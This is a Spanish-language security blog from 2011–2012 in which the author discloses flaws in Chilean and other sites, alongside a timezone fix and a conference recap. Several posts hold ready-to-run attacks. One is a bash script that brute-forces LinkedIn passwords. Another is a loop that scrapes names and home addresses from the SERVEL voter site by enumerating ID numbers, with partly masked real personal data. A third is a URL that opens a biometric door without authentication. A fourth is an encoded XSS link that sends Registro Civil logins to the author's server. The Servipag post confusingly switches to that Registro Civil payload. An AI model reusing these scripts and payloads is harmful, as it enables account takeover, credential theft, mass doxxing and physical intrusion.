El rincón de Zerial

Vulnerabilidad en LinkedIn permite obtencion de contraseñas

Zerial — Wed, 16 May 2012 19:17:32 +0000

El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token.
La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.

Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el “sourceAlias” y “csrfToken”.

Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL.

El paso siguiente es armar un script que nos ayude a enviar requests hacia el script “login-submit” de LinkedIn, validar la respuesta y comprobar la contraseña.

#!/bin/bash
#
# usage: ./linkedin.sh username@domain.com wordlist
#

TOKEN="ajax%3A1969342887909916588"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."

Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable “TOKEN” dentro del script.

A modo de prueba, cree la cuenta “panic@zerial.org” y un diccionario que contiene las siguientes palabras:

asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
123456qwerty
12345qwei
112233

Ejecuté el script entregandole los parametros necesarios: sh linkedin.sh panic@zerial.org wordlist y este es el resultado:
Password found: 123456qwerty
Que corresponde a la password de prueba.

Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token.

Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.

Sitio web del Servicio Electoral (SERVEL) expone tus datos

Zerial — Thu, 26 Apr 2012 13:18:30 +0000

Luego de que se propusieran la idea de inscribir automaticamente a todos los chilenos, el SERVEL tuvo la brillante idea de poner la base de datos de todos los inscritos disponible para cualquier persona en su sitio web.

Con solo ingresar el RUT o el nombre de una persona, es posible obtener su domicilio, por ejemplo:

El formulario no cuenta con un captcha para validar que sea una persona quien consulta los datos y tampoco tiene las validaciones necesarias para proteger request desde sitios remotos y asi poder evitar que un “bot” se dedique a hacer un dump de la base de datos.

Como el sistema de consultas es vulnerable a CSRF, con un pequeño script podemos obtener información de personas, por ejemplo:

15000XXX-7
LECAROS XXXXX ELENA XXXX
PILCO XX XXXXXX DPTO 106
————
15000002-5
XXXXXX NIETO XXXXXXXX ANDRES
SITIO XXXXXX EL SAUCE XXXXXXX
————
15000XXX-3
ROJAS XXXXXX PAMELA XXXXXXX
PJ LOS XXXXX XX
————
15000XXX-1
BELLO XXXXX SUSANA XXXXXX
DIEGO XXXXX XXXXX POBL. SAN JOSE
————
15000XXX-K
GONZALEZ XXX PATRICIA XXXX
ANIBAL PINTO XXXX PBL.M.ORIENTE
————

En esta prueba de concepto lo unico que hice fue un script que cuente de 15.000.000 a 15.000.010, obtenga el digito verificador de cada RUT y consulte con cURL o wget al sitio del SERVEL. Un bot podria ser programado para que recorra todos los rut y obtenga información sobre las personas.

Comando:
for seq in $(seq 15000000 15000010); do rut=$(php dv.php $seq); echo $rut; wget -O – -o /dev/null “http://www.servel.cl/consulta/consulta2012.aspx?ScriptManager1=updpnl1|btnconsultarnombre&__ASYNCPOST=true&__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2FwEWBALt74KnBwKIgMLoCQLA%2BNmoBgL066iRCh5kzc0O6krAcPyF8iP14ICzZPVMch4cFobzrB8c5UMe&__VIEWSTATE=%2FwEPDwUKLTUxOTc5MjYxMg9kFgICAw9kFgICAQ9kFgJmD2QWAgITD2QWAgIDDzwrABEBARAWABYAFgBkGAEFDWdyZGR1cGxpY2Fkb3MPZ2QHQ9n6Ug6DvemNcSslF9aItsqRASRwxwtjME5L46rPQQ%3D%3D&btnconsultarnombre=Consultar&hdfl=&txtnombre=$rut”|grep ‘lbldomicilio\|lblnombre’|awk -F ‘>’ ‘{print $2}’|sed ‘s/< \/span//g'; echo "------------"; done

Script php (dv.php)

< ?php
 function dv($rut)
        {
                $x = 2;
                $calc = 0;
                $rut = str_replace(".", "", $rut);
                for($i = strlen($rut)-1; $i >= 0; $i--)
                {
                        $digit = $rut[$i];
                        if($x == 8) $x = 2;
                        $calc += $digit*$x;
                        $x++;
                }
                $rest = $calc%11;
                $dv = 11 - $rest;
                if($dv == 10) $dv = "K";
                if($dv == 11) $dv = 0;
                return $dv;
        }

print $argv[1]."-".dv($argv[1]);
?>

Actualizado

SERVEL finalmente puso un Captcha para evitar a los bots.

Vulnerar la seguridad fisica de un control de acceso biometrico

Zerial — Tue, 03 Apr 2012 12:17:15 +0000

El dispositivo de la imagen corresponde a un control de acceso con tarjetas de proximidad y biometrico ZEM560, aunque no lo crean, en muchos lugares se usa para restringir el acceso a ciertos sectores donde solo personal autorizado puede ingresar, por ejemplo a un Data Center.

Estos dispositivos no son más que un sistema Linux 2.6.24 corriendo sobre MIPS, el cual basicamente tiene una interfáz ethernet con la cual se puede acceder vía telnet al sistma o bien vía web para la administración de usuarios, reportes, mantención del equipo, etc.
El panel de administración es así

En el menú de la izquierda se pueden ver distintas opciones como administrar usuarios, acceder a reportes, configurar las tarjetas de red y lo más interesante la opción Open Door.

La magia de todo esto, es que si ingresamos a la URL “http://ip/form/Device?act=9” la puerta se abrirá

Todas las acciones que se ven en el menú son accesibles directamente sin necesidad de estar autentificado, lo único que debemos hacer es conocer la IP del dispositivo.

Por un momento pensé “esto debe ser porque es una versión antigua“, pero es un sistema de control de acceso que se implementó hace menos de 1 mes, donde seguramente esa misma empresa (y muchas otras) estan entregando este producto con esta falla de seguridad. Tampoco descarto que esto suceda con otros modelos.

Sólo dos recomendaciones para quienes administren este tipo de dispositivos:

1) Creen una red independiente donde no cualquier usuario pueda acceder, de lo contrario con un escaneo muy simple es posible determinar la IP de estos dispositivos, abrir la puerta y vulnerar la seguridad física.

2) Cambien el dispositivo.

Solución al no-cambio de hora en Chile

Zerial — Sun, 11 Mar 2012 15:17:27 +0000

En Chile, nuevamente el Gobierno cambió la configuración de la zona horaria, aplazando el cambio de hora que debería haberse hecho hoy, para el 28 de Abril.

La medida, que replica el esquema adoptado el año pasado, establece que el horario de invierno entrará en vigencia la medianoche del Sábado 28 de Abril y posteriormente, se retornará al horario de verano, la medianoche del Sábado 1 de Septiembre.

Para UNIX existe una solución que es modificar el archivo que define el TimeZone de Chile/Continental. Esta solución es mucho más limpia que cambiar la hora a mano o que usar la zona horaria de otro país, ya que continuamos usando la zona horaria de Chile pero con las modificaciones que el gobierno impuso.

La solución rápida es descargar este archivo “timezone” que modifiqué con las nuevas fechas, descomprimirlo y pisar el archivo /etc/localtime y en el directorio donde tengas los archivos de zona que generalmente se encuentran en /usr/share/zoneinfo/Chile/Continental.

Los pasos a seguir luego de descargar el archivo, son:

# zdump -v Chile/Continental|grep 2012

Al ejecutar el siguiente comando, deberias poder ver las fechas en las cuales se deberia cambiar la hora

# zdump -v /etc/localtime|grep 2012

Desempaqueta el archivo localtime.gz

# gunzip localtime.gz

Reemplazar el /etc/localtime y /usr/share/zoneinfo/Chile/Continental
por ese archivo

# cp localtime /etc/localtime

# cp localtime /usr/share/zoneinfo/Chile/Continental

Si /usr/share/zoneinfo/ no existe, deberia estar en
/usr/local/share/zoneinfo o en /usr/lib/ o algo parecido (buscar en /
el directorio “zoneinfo”).

Luego vuelve a ejecutar los dos comandos del “zdump” y deberian
aparecer las nuevas fechas de cambio de hora.

Para modificar el archivo de timezone seguí las instrucciones que escribió “Sabius” en el foro de CHW el año pasado:

Guia: Modificar tzdata, cambio/no cambio de hora Chile

Vulnerabilidades CSRF + XSS afectan a Servipag

Zerial — Thu, 08 Mar 2012 12:01:43 +0000

Esta vez la vulnerabilidad afecta al sitio de Servipag Empresas, permitiendo realizar ataques del tipo CSRF+XSS, es decir, incrustar código html/javascript y realizar peticiones desde sitios remotos. La vulnerabilidad se encuentra en el formulario para iniciar sesión que al momento de realizar la validación, si el usuario o clave no existen o están incorrectos, muestra una alerta al usuario

El formulario de login envia un POST a servipagempresas.cl/Servipag/SES_ControlAcceso.asp pasando las variables ACC=ND&IdColumna=&IdComunidad=2&IdNoticia=&LoginEmpresa=empresa_prueba&login=empresa_prueba&password=1, cuando se envian datos incorrectos, SES_ControlAcceso.asp nos devuelve a la URL servipagempresas.cl/Servipag/acceso.asp pasando por GET el mensaje de error, el cual podemos manipular.

El mensaje lo entrega mediante la variable msgx10987654 (ni idea que significa ese número). Si envíamos mediante POST el mensaje “mensaje de error de pruebas” podemos ver que el mensaje de error es manipulable de una manera demasiado sencilla:

Y en el código fuente aparece lo siguiente:

Lo único que debemos hacer para insertar código html/javascript a nuestro antojo, es manipular el mensaje de error de forma tal que cerremos el alert y cerremos el tag SERVIPWNED

Se lo inyectamos a la URL vulnerable:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=pocpoc%27;%20}%20}%20function%20ingresar%28%29{%20var%20_a%20=%20document.forms[0].runOI.value;%20

var%20_b%20=%20document.forms[0].passwordOI.value;%20document.forms[0].action%20=%20%27http://zerial.org/PoC_RegCivil%27;document.forms[0].method%20=%20%27GET%27;document.forms[0].submit%28%29%20}%3C/script%3E%3Cscript%3E

Al ingresar tus datos e iniciar sesión, tu RUT y password será enviado a mi servidor. En el servidor, la información llega de la siguiente forma:

x.x.x.x – - [xx/Nov/2011:xx:xx:xx -0300] “GET /PoC_RegCivil?tipoAyuda=&runOI=1544345&dvOI=&passwordOI=prueba HTTP/1.1″ 200 1529 “-”"

Podemos ver donde dice runOI y passwordOI, que aparecen los datos que ingresamos en el formulario de autentificación en el sitio web del Registro Civil. Ya tenemos los datos del usuario

RUT: 1544345
Password: prueba

Finalmente, la URL maliciosa tendría la forma:

https://www.registrocivil.cl/OficinaInternet/servlet/IngresoUsuarioOI?pag=%70%6f%63%70%6f%63%25%32%37%3b%25%32%30%7d%25%32%30%7d%25%32%30%66%75%6e%63%74%69%6f%6e%25%32%30%69%6e%67%72%65%73%61%72%25%32%38%25%32%39%7b%25%32%30%76%61%72%25%32%30%5f%61%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%72%75%6e%4f%49%2e%76%61%6c%75%65%3b%25%32%30%76%61%72%25%32%30%5f%62%25%32%30%3d%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%70%61%73%73%77%6f%72%64%4f%49%2e%76%61%6c%75%65%3b%25%32%30%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%61%63%74%69%6f%6e%25%32%30%3d%25%32%30%25%32%37%68%74%74%70%3a%2f%2f%7a%65%72%69%61%6c%2e%6f%72%67%2f%50%6f%43%5f%52%65%67%43%69%76%69%6c%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%6d%65%74%68%6f%64%25%32%30%3d%25%32%30%25%32%37%47%45%54%25%32%37%3b%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%30%5d%2e%73%75%62%6d%69%74%25%32%38%25%32%39%25%32%30%7d%25%33%43%2f%73%63%72%69%70%74%25%33%45%25%33%43%73%63%72%69%70%74%25%33%45

Es suficiente con enviar ese link a usuarios para que los datos de autentificación sean enviados a un servidor externo.

ACTUALIZADO (3 de Diciembre): Luego de insistir via twitter y enviando este post al CSIRT del Ministerio del Interior, Registro Civil ha corregido la vulnerabilidad.

Como siempre, hay que hacer publicas las fallas para que le den solucion.

Secureless: Estadisticas de sitios web vulnerables

Zerial — Mon, 28 Nov 2011 12:15:09 +0000

En la conferencia de seguridad recien pasada, tuve la oportunidad de presentar el Proyecto Secureless, demostrando la realidad de las vulnerabilidades web de distintos sitios, por categoria, dominio y por tipo de organizacion.

Durante aproximadamente 7 meses hemos estado recopilando sitios webs con distintas vulnerabilidades, gracias a nuestras propias investigaciones o colaboraciones de distintos usuarios, hasta la fecha registramos aproximadamente 1058 sitios web, de distintos paises, distintos tipos de entidades (universidades, bancas, etc) y con distintos estados. Actualmente en Secureless manejamos 3 tipos de estados, las Reportadas, No Reportadas

La diferencia que existe entre las Reportadas y las Sin Reportar, principalmente se da porque los sitios web no publican un correo o alguna forma de contacto para poder reportar este tipo de fallas, por lo general se limitan a poner un formulario de “consultas” y muchas veces en bancos, universidades o sitios del gobierno, hay que completar un formulario con cientos de campos obligatorios.

Los sitios web que realmente deberian tener este tipo de procedimiento como los bancos, Universidades o sitios del gobierno que manejen información sensible de personas, no lo hacen. Muchas veces debemos enviar el reporte a correos genericos y/o aleatorios como contacto@dominio, info@dominio o webmaster@dominio, sin tener respuesta.
La relación que existe entre las Reportadas y las Solucionadas, nos demuestra que de alguna forma estamos apuntando para el lado correcto, ya que el 90% de las vulnerabilidades reportadas se solucionan.

De los tipos de vulnerabilidades, hay dos categorías que pelean el puesto para ser los que más sitios registran, el SQL Injection y al Cross-Site Scripting

Es curioso, ya que una es client-side (xss) y la otra server-side (sql-i), pero ambas ocurren por una mala sanitización de los parametros de entrada.

La que los sigue es Full Path Disclosure, una vulnerabilidad que por si sola no es muy critica y que muchas veces se le da la responsabilidad al encargado del servidor, que no deshabilita los errores o el debug, aunque segun yo, el programador debería ser capaz de manejar los errores y validar los parametros de entrada para evitar el crash de la aplicación y asi evitar cualquier tipo de error sin atajar. El tipico ejemplo, cuando modificamos los parametros por GET y transformamos una variable en un Array.

Si analizamos la cantidad de sitios por tipo de organización, nos encontramos con el siguiente gráfico:

Las universidades son de las entidades (segun nuestro criterio) que más vulnerabilidades tienen, ya que muchas de ellas les abren espacios a sus clientes alumnos, por lo general un servidor compartido entre usuarios y en algunos casos extremos, un servidor compartido con aplicaciones de la universidad (intranets, etc).
Luego viene los del gobierno, que mientras más sitios y sistemas ofrecen, menos control tienen sobre las aplicaciones y sobre los datos que manejan. Es muy comun en sistemas y sitios del gobierno encontrar tecnologias antiguas y en muchos casos, obsoletas.
Con eCommerce, me refiero a sitios que ofrecen “comercio por internet”, como PC Factory, Falabella, Ripley, etc.
Finalmente tenemos a los queridos Bancos, que sinceramente ellos ni si quiera deberian aparecer en este listado.

El último gráfico, corresponde a sitios segun su pais o dominio

No significa que Chile sea mas vulnerable que los otros, simplemente que en un principio nos dedicamos unicamente a almacenar sitios chilenos, pero poco a poco fuimos aceptando colaboraciones de otros paises y otros dominios.

Directory Listing en Corpbanca.cl

Zerial — Fri, 25 Nov 2011 14:30:43 +0000

El Listado de Directorios en si no es una vulnerabilidad o fallo crítico, todo depende de que tipo de información nos divulgue.

El servidor del Banco Corpbanca permite listar directorios entregando información sensible sobre los archivos del sistema, por ejemplo permite acceder a archivos como “ComprobanteCargoAbono_Personas.aspx.20081217“, un respaldo del año 2008 del archivo ComprobanteCargoAbono_Personas.aspx que, antes que limitaran el acceso, era posible ver el código fuente de ese y de otros archivos.

En el caso de un banco es peligroso porque permite al atacante conocer de mejor forma el sistema accediendo a toda la estructura de directorios y archivos. Tambien nos damos cuenta que hay scripts de “prueba” que nos pueden entregar información sensible

Este problema en la configuración de los servidores de Corpbanca ya ha sido reportado y se está solucionando.

Despues de haber dado la presentación de Secureless en la CSC 8.8, se me acercó el encargado de la seguridad de Corpbanca, entregandome su contacto y agradeciendo cualquier reporte que pudiese enviarle, hasta ahora he tenido la amabilidad de estar reportandole algunas fallas y el por su lado gestiona que se solucionen.

8.8: Computer Security Conference Chile

Zerial — Tue, 22 Nov 2011 13:03:28 +0000

El pasado viernes 18 de noviembre se realizó la primera versión de la 8.8, una conferencia orientada a la seguridad informática y hacking. Tuve el agrado de exponer sobre el Proyecto Secureless, que llamó la atención de varios de los asistentes y gracias a eso logré tener contacto con distintas personas encargadas de la seguridad o del area de informática de bancos, universidades, etc. Hubo charlas técnicas y otras no tanto, yo expuste, además de la presentación de Secureless, algo que ya había expuesto antes en otras conferencias, sobre Hacking Automatizado, básicamente la automatización de tareas mediante scripts en bash, php, python, etc. De esta chalra no pude mostrar todo por falta de conexión a internet.

De las cosas que mas me interesaron, fue “Gaining Full System Access via Virtual Memory“, que comenzó hablando sobre congelar la RAM para mantener la información (Cryogenically frozen RAM) y que obviamente el escenario para explotar este tipo de cosas es bien complicado, ya que hay que tener acceso fisico, sin embargo, esto tambien sucede en las máquinas virtuales por ejemplo con VMWARE, que genera un archivo “.mem”, basta con hacer un dump de ese archivo y guardarlo para simular el “congelado”. Mediante este ataque, Thomas demostró que Linux es más inseguro que Windows en este sentido, por el simple hecho de que Windows es capaz de cifrar la información que está en la RAM, Linux no lo hace. Lo demostró leyendo el hash del archivo /etc/shadow desde la ram y también accediendo a la password en texto plano que se digitó para autenticarse en una shell.

Tambien me pareció interesante la charla de Marco Balduzzi quien hablaba sobre HTTP Parameter Pollution, que por el tipo de preguntas que se hicieron creo que no mucha gente entendio el sentido de HPP.

Más allá de las charlas, lo que más me gustó es que existiera la instancia de poder mirar cara a cara a los distintos responsables y tambien conocer a gente nueva que está interesada en todo este tema de la seguridad informática y hacking. Me dio mucho gusto conocer a varios de los que solo me había relacionado via email para reportar vulnerabilidades.

Nos vemos el 2012!